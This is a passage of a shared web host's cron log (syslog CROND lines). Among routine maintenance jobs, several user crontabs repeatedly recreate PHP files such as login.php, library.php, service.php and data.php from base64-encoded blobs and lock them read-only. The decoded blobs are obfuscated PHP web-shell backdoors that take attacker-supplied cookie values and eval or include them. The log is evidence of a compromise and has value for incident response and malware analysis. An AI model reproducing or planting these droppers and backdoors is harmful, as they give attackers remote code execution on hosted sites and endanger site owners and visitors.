X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:47:02 medusa CROND[13018]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:48:01 medusa CROND[6189]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:48:01 medusa CROND[6252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:48:01 medusa CROND[6253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:48:01 medusa CROND[6255]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:48:01 medusa CROND[6257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:48:01 medusa CROND[6258]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:48:01 medusa CROND[6259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:48:01 medusa CROND[6266]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:48:01 medusa CROND[6271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:48:01 medusa CROND[6272]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:48:01 medusa CROND[6273]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:48:01 medusa CROND[6275]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:48:01 medusa CROND[6276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:49:02 medusa CROND[31162]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:49:02 medusa CROND[31163]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:49:02 medusa CROND[31164]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:49:02 medusa CROND[31165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:49:02 medusa CROND[31166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:49:02 medusa CROND[31167]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:49:02 medusa CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:49:02 medusa CROND[31171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:49:02 medusa CROND[31175]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:49:02 medusa CROND[31179]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:49:02 medusa CROND[31180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:49:02 medusa CROND[31182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:50:01 medusa CROND[23707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:50:01 medusa CROND[23725]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:50:01 medusa CROND[23844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:50:01 medusa CROND[23924]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:50:01 medusa CROND[23925]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:50:01 medusa CROND[23926]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:50:01 medusa CROND[23928]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:50:01 medusa CROND[23930]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
